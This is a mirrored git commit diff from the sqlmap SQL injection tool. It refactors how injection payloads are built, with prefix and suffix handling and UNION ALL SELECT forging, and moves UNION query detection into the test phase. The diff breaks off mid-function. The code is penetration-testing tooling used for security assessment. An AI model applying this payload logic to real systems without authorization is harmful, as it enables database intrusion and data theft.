mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-04-04 17:24:20 +03:00
First big commit to move UNION query tests to detection phase - there are some improvements and tuning to do yet though.
Major refactoring to Agent.payload() method. Minor bug fixes, some code refactoring and a lot of core adjustments here and there. Added more checks for injection in GROUP BY and ORDER BY.
This commit is contained in:
parent
06230e4d92
commit
300128042c
|
@ -32,6 +32,7 @@ from lib.core.common import trimAlphaNum
|
|||
from lib.core.common import wasLastRequestDBMSError
|
||||
from lib.core.common import wasLastRequestHTTPError
|
||||
from lib.core.common import DynamicContentItem
|
||||
from lib.core.common import configUnion
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
@ -55,8 +56,12 @@ from lib.core.settings import UPPER_RATIO_BOUND
|
|||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.templates import getPageTemplate
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
|
||||
def unescape(string, dbms):
|
||||
if string is None:
|
||||
return string
|
||||
|
||||
if dbms in unescaper and "WAITFOR DELAY " not in string:
|
||||
return unescaper[dbms](string)
|
||||
else:
|
||||
|
@ -84,8 +89,9 @@ def checkSqlInjection(place, parameter, value):
|
|||
# Set the flag for sql injection test mode
|
||||
kb.testMode = True
|
||||
|
||||
for test in getInjectionTests():
|
||||
try:
|
||||
#for test in getInjectionTests():
|
||||
for test in conf.tests:
|
||||
try:
|
||||
if kb.endDetection:
|
||||
break
|
||||
|
||||
|
@ -143,11 +149,12 @@ def checkSqlInjection(place, parameter, value):
|
|||
|
||||
continue
|
||||
|
||||
if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes()\
|
||||
and kb.skipTests is None:
|
||||
message = "parsed error message(s) showed that the back-end DBMS could be '%s'." % getErrorParsedDBMSesFormatted()
|
||||
message += " do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||
kb.skipTests = conf.realTest or readInput(message, default="Y") not in ("n", "N")
|
||||
# NOTE: Leave this commented for the time being
|
||||
#if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes() and kb.skipTests is None:
|
||||
# msg = "parsed error message(s) showed that the "
|
||||
# msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted()
|
||||
# msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||
# kb.skipTests = conf.realTest or readInput(msg, default="Y") not in ("n", "N")
|
||||
|
||||
if kb.skipTests:
|
||||
debugMsg = "skipping test '%s' because " % title
|
||||
|
@ -189,7 +196,6 @@ def checkSqlInjection(place, parameter, value):
|
|||
comment = agent.getComment(test.request)
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, value)
|
||||
fstPayload = unescapeDbms(fstPayload, injection, dbms)
|
||||
fstPayload = "%s%s" % (fstPayload, comment)
|
||||
|
||||
if stype != 4 and clause != [2, 3] and clause != [ 3 ]:
|
||||
space = " "
|
||||
|
@ -280,11 +286,11 @@ def checkSqlInjection(place, parameter, value):
|
|||
if where == 1:
|
||||
origValue = value
|
||||
elif where == 2:
|
||||
# Use different page template than the original
|
||||
# one as we are changing parameters value, which
|
||||
# will likely result in a different content
|
||||
origValue = "-%s" % randomInt()
|
||||
# Use different page template than the original one
|
||||
# as we are changing parameters value, which will result
|
||||
# most definitely with a different content
|
||||
templatePayload = agent.payload(place, parameter, value, origValue)
|
||||
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
|
||||
elif where == 3:
|
||||
origValue = ""
|
||||
|
||||
|
@ -293,10 +299,11 @@ def checkSqlInjection(place, parameter, value):
|
|||
# Forge request payload by prepending with boundary's
|
||||
# prefix and appending the boundary's suffix to the
|
||||
# test's ' <payload><comment> ' string
|
||||
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, fstPayload, suffix)
|
||||
boundPayload = boundPayload.strip()
|
||||
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
|
||||
boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
|
||||
boundPayload = agent.cleanupPayload(boundPayload, value)
|
||||
reqPayload = agent.payload(place, parameter, value, boundPayload)
|
||||
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
||||
unionVector = None
|
||||
|
||||
# Perform the test's request and check whether or not the
|
||||
# payload was successful
|
||||
|
@ -308,16 +315,15 @@ def checkSqlInjection(place, parameter, value):
|
|||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, value)
|
||||
sndPayload = unescapeDbms(sndPayload, injection, dbms)
|
||||
sndPayload = "%s%s" % (sndPayload, comment)
|
||||
|
||||
# Forge response payload by prepending with
|
||||
# boundary's prefix and appending the boundary's
|
||||
# suffix to the test's ' <payload><comment> '
|
||||
# string
|
||||
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, sndPayload, suffix)
|
||||
boundPayload = boundPayload.strip()
|
||||
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
|
||||
boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
|
||||
boundPayload = agent.cleanupPayload(boundPayload, value)
|
||||
cmpPayload = agent.payload(place, parameter, value, boundPayload)
|
||||
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
||||
|
||||
# Useful to set kb.matchRatio at first based on
|
||||
# the False response content
|
||||
|
@ -337,7 +343,7 @@ def checkSqlInjection(place, parameter, value):
|
|||
|
||||
injectable = True
|
||||
|
||||
# In case of error-based or UNION query SQL injections
|
||||
# In case of error-based SQL injection
|
||||
elif method == PAYLOAD.METHOD.GREP:
|
||||
# Perform the test's request and grep the response
|
||||
# body for the test's <grep> regular expression
|
||||
|
@ -369,6 +375,20 @@ def checkSqlInjection(place, parameter, value):
|
|||
|
||||
injectable = True
|
||||
|
||||
# In case of UNION query SQL injection
|
||||
elif method == PAYLOAD.METHOD.UNION:
|
||||
conf.uChar = test.request.char
|
||||
conf.uCols = test.request.columns
|
||||
configUnion()
|
||||
|
||||
reqPayload, unionVector = unionTest(comment, place, parameter, value, prefix, suffix)
|
||||
|
||||
if isinstance(reqPayload, basestring):
|
||||
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
|
||||
logger.info(infoMsg)
|
||||
|
||||
injectable = True
|
||||
|
||||
# If the injection test was successful feed the injection
|
||||
# object with the test's details
|
||||
if injectable is True:
|
||||
|
@ -396,7 +416,7 @@ def checkSqlInjection(place, parameter, value):
|
|||
injection.data[stype].title = title
|
||||
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False)
|
||||
injection.data[stype].where = where
|
||||
injection.data[stype].vector = vector
|
||||
injection.data[stype].vector = agent.cleanupPayload(vector, unionVector=unionVector)
|
||||
injection.data[stype].comment = comment
|
||||
injection.data[stype].matchRatio = kb.matchRatio
|
||||
injection.data[stype].templatePayload = templatePayload
|
||||
|
@ -439,9 +459,6 @@ def checkSqlInjection(place, parameter, value):
|
|||
kb.endDetection = True
|
||||
elif test[0] in ("q", "Q"):
|
||||
raise sqlmapUserQuitException
|
||||
finally:
|
||||
# Flush the flag
|
||||
kb.testMode = False
|
||||
|
||||
# Return the injection object
|
||||
if injection.place is not None and injection.parameter is not None:
|
||||
|
@ -466,8 +483,8 @@ def heuristicCheckSqlInjection(place, parameter, value):
|
|||
if conf.suffix:
|
||||
suffix = conf.suffix
|
||||
|
||||
payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
|
||||
payload = agent.payload(place, parameter, value, payload)
|
||||
payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
|
||||
payload = agent.payload(place, parameter, newValue=payload)
|
||||
Request.queryPage(payload, place, content=True, raise404=False)
|
||||
|
||||
result = wasLastRequestDBMSError()
|
||||
|
@ -808,13 +825,14 @@ def checkConnection(suppressOutput=False):
|
|||
kb.originalPage = kb.pageTemplate = page
|
||||
|
||||
kb.errorIsNone = False
|
||||
|
||||
if wasLastRequestDBMSError():
|
||||
warnMsg = "there is an (DBMS) error found in the content of provided target url"
|
||||
warnMsg += " which could interfere with the results of the tests"
|
||||
warnMsg = "there is a DBMS error found in the HTTP response body"
|
||||
warnMsg += "which could interfere with the results of the tests"
|
||||
logger.warn(warnMsg)
|
||||
elif wasLastRequestHTTPError():
|
||||
warnMsg = "there is an (HTTP) error found in the content of provided target url"
|
||||
warnMsg += " which could interfere with the results of the tests"
|
||||
warnMsg = "the web server responded with an HTTP error code "
|
||||
warnMsg += "which could interfere with the results of the tests"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
kb.errorIsNone = True
|
||||
|
|
|
@ -110,8 +110,8 @@ def __formatInjection(inj):
|
|||
return data
|
||||
|
||||
def __showInjections():
|
||||
header = "sqlmap identified the following injection points "
|
||||
header += "with %d HTTP(s) requests" % kb.testQueryCount
|
||||
header = "sqlmap identified the following injection points with "
|
||||
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
||||
data = ""
|
||||
|
||||
for inj in kb.injections:
|
||||
|
@ -349,12 +349,11 @@ def start():
|
|||
not simpletonCheckSqlInjection(place, parameter, value):
|
||||
continue
|
||||
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg += "parameter '%s'" % parameter
|
||||
logger.info(logMsg)
|
||||
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
|
||||
proceed = not kb.endDetection
|
||||
|
||||
if injection is not None and injection.place is not None:
|
||||
|
@ -373,7 +372,7 @@ def start():
|
|||
paramKey = (conf.hostname, conf.path, None, None)
|
||||
kb.testedParams.add(paramKey)
|
||||
else:
|
||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
warnMsg += "injectable"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
@ -386,6 +385,9 @@ def start():
|
|||
errMsg = "it seems that all parameters are not injectable"
|
||||
raise sqlmapNotVulnerableException, errMsg
|
||||
else:
|
||||
# Flush the flag
|
||||
kb.testMode = False
|
||||
|
||||
__saveToSessionFile()
|
||||
__showInjections()
|
||||
__selectInjection()
|
||||
|
|
|
@ -53,7 +53,7 @@ class Agent:
|
|||
|
||||
return query
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
|
@ -62,59 +62,38 @@ class Agent:
|
|||
if conf.direct:
|
||||
return self.payloadDirect(newValue)
|
||||
|
||||
falseValue = ""
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
retValue = ""
|
||||
|
||||
if negative or kb.unionNegative:
|
||||
negValue = "-"
|
||||
if where is None and isTechniqueAvailable(kb.technique):
|
||||
where = kb.injection.data[kb.technique].where
|
||||
|
||||
# After identifing the injectable parameter
|
||||
if kb.injection.place == PLACE.UA and kb.injection.parameter:
|
||||
retValue = kb.injection.parameter.replace(kb.injection.parameter,
|
||||
self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue)))
|
||||
elif kb.injection.place and kb.injection.parameter:
|
||||
paramString = conf.parameters[kb.injection.place]
|
||||
paramDict = conf.paramDict[kb.injection.place]
|
||||
origValue = paramDict[kb.injection.parameter]
|
||||
if kb.injection.place is not None:
|
||||
place = kb.injection.place
|
||||
|
||||
if isTechniqueAvailable(kb.technique):
|
||||
where = kb.injection.data[kb.technique].where
|
||||
if kb.injection.parameter is not None:
|
||||
parameter = kb.injection.parameter
|
||||
|
||||
if place == PLACE.UA:
|
||||
retValue = parameter.replace(parameter, self.addPayloadDelimiters(parameter + newValue))
|
||||
else:
|
||||
paramString = conf.parameters[place]
|
||||
paramDict = conf.paramDict[place]
|
||||
origValue = paramDict[parameter]
|
||||
|
||||
if value is None:
|
||||
if where == 1:
|
||||
value = origValue
|
||||
elif where == 2:
|
||||
value = "-%s" % randomInt()
|
||||
elif where == 3:
|
||||
value = ""
|
||||
else:
|
||||
value = origValue
|
||||
else:
|
||||
value = origValue
|
||||
|
||||
newValue = "%s%s" % (value, newValue)
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue)
|
||||
|
||||
if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST:
|
||||
root = ET.XML(paramString)
|
||||
iterator = root.getiterator(kb.injection.parameter)
|
||||
|
||||
for child in iterator:
|
||||
child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
|
||||
|
||||
retValue = ET.tostring(root)
|
||||
elif kb.injection.place == PLACE.URI:
|
||||
retValue = paramString.replace("*",
|
||||
self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
|
||||
else:
|
||||
retValue = paramString.replace("%s=%s" % (kb.injection.parameter, origValue),
|
||||
"%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
|
||||
|
||||
# Before identifing the injectable parameter
|
||||
elif parameter == PLACE.UA:
|
||||
retValue = value.replace(value, self.addPayloadDelimiters(newValue))
|
||||
elif place == PLACE.URI:
|
||||
retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str())))
|
||||
else:
|
||||
paramString = conf.parameters[place]
|
||||
|
||||
if "POSTxml" in conf.paramDict and place == PLACE.POST:
|
||||
root = ET.XML(paramString)
|
||||
iterator = root.getiterator(parameter)
|
||||
|
@ -123,10 +102,13 @@ class Agent:
|
|||
child.text = self.addPayloadDelimiters(newValue)
|
||||
|
||||
retValue = ET.tostring(root)
|
||||
elif place == PLACE.URI:
|
||||
retValue = paramString.replace("*", self.addPayloadDelimiters(newValue))
|
||||
else:
|
||||
retValue = paramString.replace("%s=%s" % (parameter, value),
|
||||
retValue = paramString.replace("%s=%s" % (parameter, origValue),
|
||||
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
|
||||
|
||||
# print "retValue:", retValue
|
||||
return retValue
|
||||
|
||||
def fullPayload(self, query):
|
||||
|
@ -139,7 +121,7 @@ class Agent:
|
|||
|
||||
return payload
|
||||
|
||||
def prefixQuery(self, string):
|
||||
def prefixQuery(self, string, prefix=None, where=None, clause=None):
|
||||
"""
|
||||
This method defines how the input string has to be escaped
|
||||
to perform the injection depending on the injection type
|
||||
|
@ -156,9 +138,10 @@ class Agent:
|
|||
# payload, do not put a space after the prefix
|
||||
if kb.technique == PAYLOAD.TECHNIQUE.STACKED:
|
||||
query = kb.injection.prefix
|
||||
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 3 ]:
|
||||
if kb.technique != PAYLOAD.TECHNIQUE.UNION:
|
||||
query = kb.injection.prefix
|
||||
elif where == 3 or clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
|
||||
query = prefix
|
||||
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
|
||||
query = kb.injection.prefix
|
||||
elif kb.technique and kb.technique in kb.injection.data:
|
||||
where = kb.injection.data[kb.technique].where
|
||||
|
||||
|
@ -166,14 +149,17 @@ class Agent:
|
|||
query = kb.injection.prefix
|
||||
|
||||
if query is None:
|
||||
query = "%s " % kb.injection.prefix
|
||||
if kb.injection.prefix is None and prefix is not None:
|
||||
query = "%s " % prefix
|
||||
else:
|
||||
query = "%s " % kb.injection.prefix
|
||||
|
||||
query = "%s%s" % (query, string)
|
||||
query = self.cleanupPayload(query)
|
||||
|
||||
return query
|
||||
|
||||
def suffixQuery(self, string, comment=None):
|
||||
def suffixQuery(self, string, comment=None, suffix=None):
|
||||
"""
|
||||
This method appends the DBMS comment to the
|
||||
SQL injection request
|
||||
|
@ -185,12 +171,16 @@ class Agent:
|
|||
if comment is not None:
|
||||
string += comment
|
||||
|
||||
string += " %s" % kb.injection.suffix
|
||||
if kb.injection.suffix is None and suffix is not None:
|
||||
string += " %s" % suffix
|
||||
else:
|
||||
string += " %s" % kb.injection.suffix
|
||||
|
||||
string = self.cleanupPayload(string)
|
||||
|
||||
return string.rstrip()
|
||||
|
||||
def cleanupPayload(self, payload, origvalue=None):
|
||||
def cleanupPayload(self, payload, origvalue=None, unionVector=None):
|
||||
if payload is None:
|
||||
return
|
||||
|
||||
|
@ -207,11 +197,9 @@ class Agent:
|
|||
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
|
||||
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
|
||||
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
|
||||
payload = payload.replace("[UNION]", str(unionVector))
|
||||
|
||||
if origvalue is not None:
|
||||
if not origvalue.isdigit():
|
||||
origvalue = "'%s'" % origvalue
|
||||
|
||||
payload = payload.replace("[ORIGVALUE]", origvalue)
|
||||
|
||||
if "[INFERENCE]" in payload:
|
||||
|
@ -228,14 +216,15 @@ class Agent:
|
|||
|
||||
payload = payload.replace("[INFERENCE]", inferenceQuery)
|
||||
|
||||
elif kb.misc.testedDbms is not None:
|
||||
elif hasattr(kb.misc, "testedDbms") and kb.misc.testedDbms is not None:
|
||||
inferenceQuery = queries[kb.misc.testedDbms].inference.query
|
||||
payload = payload.replace("[INFERENCE]", inferenceQuery)
|
||||
|
||||
else:
|
||||
errMsg = "invalid usage of inference payload without "
|
||||
errMsg += "knowledge of underlying DBMS"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
# NOTE: Leave this commented for the time being
|
||||
#else:
|
||||
# errMsg = "invalid usage of inference payload without "
|
||||
# errMsg += "knowledge of underlying DBMS"
|
||||
# raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return payload
|
||||
|
||||
|
@ -483,7 +472,7 @@ class Agent:
|
|||
|
||||
return concatenatedQuery
|
||||
|
||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, multipleUnions=None):
|
||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, prefix=None, suffix=None, multipleUnions=None):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
|
@ -526,7 +515,7 @@ class Agent:
|
|||
if query.startswith("SELECT "):
|
||||
query = query[len("SELECT "):]
|
||||
|
||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
|
||||
|
||||
if query.startswith("TOP"):
|
||||
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
||||
|
@ -584,8 +573,7 @@ class Agent:
|
|||
if kb.dbms == DBMS.ORACLE:
|
||||
inbandQuery += " FROM DUAL"
|
||||
|
||||
|
||||
inbandQuery = self.suffixQuery(inbandQuery, comment)
|
||||
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
||||
|
||||
return inbandQuery
|
||||
|
||||
|
|
|
@ -1935,6 +1935,7 @@ def initTechnique(technique=None):
|
|||
"""
|
||||
Prepares proper page template and match ratio for technique specified
|
||||
"""
|
||||
|
||||
try:
|
||||
data = getTechniqueData(technique)
|
||||
|
||||
|
@ -1945,7 +1946,8 @@ def initTechnique(technique=None):
|
|||
warnMsg = "there is no injection data available for technique "
|
||||
warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique)
|
||||
logger.warn(warnMsg)
|
||||
except sqlmapDataException, ex:
|
||||
|
||||
except sqlmapDataException, _:
|
||||
errMsg = "missing data in old session file(s). "
|
||||
errMsg += "please use '--flush-session' to deal "
|
||||
errMsg += "with this error"
|
||||
|
@ -2063,3 +2065,35 @@ def openFile(filename, mode='r'):
|
|||
('w' in mode or 'a' in mode or '+' in mode) else "read")
|
||||
errMsg += "and that it's not locked by another process."
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
def configUnion():
|
||||
if isinstance(conf.uCols, basestring):
|
||||
debugMsg = "setting the UNION query SQL injection range of columns"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if "-" not in conf.uCols or len(conf.uCols.split("-")) != 2:
|
||||
raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
|
||||
|
||||
conf.uCols = conf.uCols.replace(" ", "")
|
||||
conf.uColsStart, conf.uColsStop = conf.uCols.split("-")
|
||||
|
||||
if not conf.uColsStart.isdigit() or not conf.uColsStop.isdigit():
|
||||
raise sqlmapSyntaxException, "--union-cols must be a range of integers"
|
||||
|
||||
conf.uColsStart = int(conf.uColsStart)
|
||||
conf.uColsStop = int(conf.uColsStop)
|
||||
|
||||
if conf.uColsStart > conf.uColsStop:
|
||||
errMsg = "--union-cols range has to be from lower to "
|
||||
errMsg += "higher number of columns"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
if isinstance(conf.uChar, basestring) and conf.uChar != "NULL":
|
||||
debugMsg = "setting the UNION query SQL injection character to '%s'" % conf.uChar
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not conf.uChar.isdigit() and ( not conf.uChar.startswith("'") or not conf.uChar.endswith("'") ):
|
||||
debugMsg = "forcing the UNION query SQL injection character to '%s'" % conf.uChar
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.uChar = "'%s'" % conf.uChar
|
||||
|
|
|
@ -204,70 +204,18 @@ def setUnion(comment=None, count=None, position=None, negative=False, char=None,
|
|||
"""
|
||||
|
||||
if comment:
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Union comment") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment)))
|
||||
|
||||
kb.unionComment = comment
|
||||
|
||||
if count:
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Union count") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count))
|
||||
|
||||
kb.unionCount = count
|
||||
|
||||
if position is not None:
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Union position") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position))
|
||||
|
||||
kb.unionPosition = position
|
||||
|
||||
if negative:
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union negative")
|
||||
) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place])))
|
||||
|
||||
kb.unionNegative = True
|
||||
|
||||
if char:
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union char")
|
||||
) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union char][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), char))
|
||||
|
||||
if payload:
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union payload")
|
||||
) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload))
|
||||
|
||||
kb.unionTest = payload
|
||||
|
||||
def setRemoteTempPath():
|
||||
|
|
|
@ -235,7 +235,7 @@ def cmdLineParser():
|
|||
action="store_true", default=False,
|
||||
help="Test for and use UNION query (inband) SQL injection")
|
||||
|
||||
techniques.add_option("--union-cols", dest="uCols", default="1-20",
|
||||
techniques.add_option("--union-cols", dest="uCols",
|
||||
help="Range of columns to test for UNION query SQL injection")
|
||||
|
||||
techniques.add_option("--union-char", dest="uChar", default="NULL",
|
||||
|
|
|
@ -397,7 +397,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
|
|||
if conf.direct:
|
||||
value = direct(expression)
|
||||
|
||||
elif kb.unionTest or any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
|
||||
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
|
||||
query = cleanQuery(expression)
|
||||
query = expandAsteriskForColumns(query)
|
||||
value = None
|
||||
|
@ -414,7 +414,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
|
|||
else:
|
||||
forgeCaseExpression = agent.forgeCaseStatement(expression)
|
||||
|
||||
if inband and kb.unionTest is not None:
|
||||
if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
||||
kb.technique = PAYLOAD.TECHNIQUE.UNION
|
||||
|
||||
if expected == EXPECTED.BOOL:
|
||||
|
|
|
@ -26,8 +26,9 @@ from lib.core.unescaper import unescaper
|
|||
from lib.parse.html import htmlParser
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
def __unionPosition(negative=False, count=None, comment=None):
|
||||
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=1):
|
||||
validPayload = None
|
||||
unionVector = None
|
||||
|
||||
if count is None:
|
||||
count = kb.unionCount
|
||||
|
@ -42,38 +43,40 @@ def __unionPosition(negative=False, count=None, comment=None):
|
|||
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment)
|
||||
payload = agent.payload(newValue=query, negative=negative)
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
|
||||
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
||||
|
||||
# Perform the request
|
||||
resultPage, _ = Request.queryPage(payload, content=True)
|
||||
resultPage, _ = Request.queryPage(payload, place=place, content=True)
|
||||
|
||||
if resultPage and randQuery in resultPage:
|
||||
setUnion(position=exprPosition)
|
||||
validPayload = payload
|
||||
unionVector = agent.forgeInbandQuery("[PAYLOAD]", exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
|
||||
|
||||
if not negative:
|
||||
if where == 1:
|
||||
# Prepare expression with delimiters
|
||||
randQuery2 = randomStr()
|
||||
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
|
||||
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
|
||||
|
||||
# Confirm that it is a full inband SQL injection
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, multipleUnions=randQueryUnescaped2)
|
||||
payload = agent.payload(newValue=query, negative=negative)
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix, multipleUnions=randQueryUnescaped2)
|
||||
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)
|
||||
|
||||
# Perform the request
|
||||
resultPage, _ = Request.queryPage(payload, content=True)
|
||||
resultPage, _ = Request.queryPage(payload, place=place, content=True)
|
||||
|
||||
if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage):
|
||||
setUnion(negative=True)
|
||||
|
||||
break
|
||||
|
||||
return validPayload
|
||||
return validPayload, unionVector
|
||||
|
||||
def __unionConfirm(count=None, comment=None):
|
||||
def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
|
||||
validPayload = None
|
||||
unionVector = None
|
||||
|
||||
# Confirm the inband SQL injection and get the exact column
|
||||
# position which can be used to extract data
|
||||
|
@ -81,62 +84,64 @@ def __unionConfirm(count=None, comment=None):
|
|||
debugMsg = "testing full inband with %s columns" % count
|
||||
logger.debug(debugMsg)
|
||||
|
||||
validPayload = __unionPosition(count=count, comment=comment)
|
||||
validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
|
||||
|
||||
# Assure that the above function found the exploitable full inband
|
||||
# SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
debugMsg = "testing single-entry inband value with %s columns" % count
|
||||
debugMsg = "testing single-entry inband with %s columns" % count
|
||||
logger.debug(debugMsg)
|
||||
|
||||
validPayload = __unionPosition(negative=True, count=count, comment=comment)
|
||||
validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2)
|
||||
|
||||
# Assure that the above function found the exploitable partial
|
||||
# (single entry) inband SQL injection position with negative
|
||||
# parameter validPayload
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
return None
|
||||
return None, None
|
||||
else:
|
||||
setUnion(negative=True)
|
||||
|
||||
return validPayload
|
||||
return validPayload, unionVector
|
||||
|
||||
def __unionTestByCharBruteforce(comment):
|
||||
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
SQL injection vulnerability. The test is done up to 50 columns
|
||||
on the target database table
|
||||
"""
|
||||
|
||||
validPayload = None
|
||||
unionVector = None
|
||||
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
|
||||
|
||||
for num in range(conf.uColsStart, conf.uColsStop+1):
|
||||
